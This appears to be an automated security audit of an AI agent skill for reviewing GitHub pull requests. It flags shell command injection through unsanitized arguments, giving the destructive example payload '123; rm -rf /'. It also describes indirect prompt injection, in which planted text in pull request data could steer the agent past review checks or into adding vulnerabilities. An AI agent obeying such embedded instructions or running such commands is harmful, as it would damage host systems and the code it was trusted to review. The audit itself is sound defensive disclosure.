review-pr
Warn
Audited by Gen Agent Trust Hub on Oct 12, 2026
Risk Level: MEDIUMCOMMAND_EXECUTIONINDIRECT_PROMPT_INJECTION
Full Analysis
- [COMMAND_EXECUTION]: The skill contains a shell command injection vulnerability where
$ARGUMENTSis passed unsanitized to the GitHub CLI. A malicious user or pull request URL containing shell metacharacters (e.g.,123; rm -rf /) could execute arbitrary commands on the host system. - [INDIRECT_PROMPT_INJECTION]: The skill ingests untrusted data from pull request titles, descriptions, and file changes. A malicious contributor could embed instructions within a pull request to deceive the agent, bypass review checks, or trick the 'Auto-Fix' logic into introducing vulnerabilities.
- Ingestion points: Data retrieved via
gh pr viewand file content accessed during the review process. - Boundary markers: None identified; the instructions do not include delimiters or warnings for the agent to ignore embedded instructions in the PR data.
- Capability inventory: The skill has access to shell execution via
gh,git, andlstools, and includes logic for automated code modification ('Auto-Fix Loop'). - Sanitization: No sanitization or validation of the PR content is performed before the agent processes and acts upon it.
Audit Metadata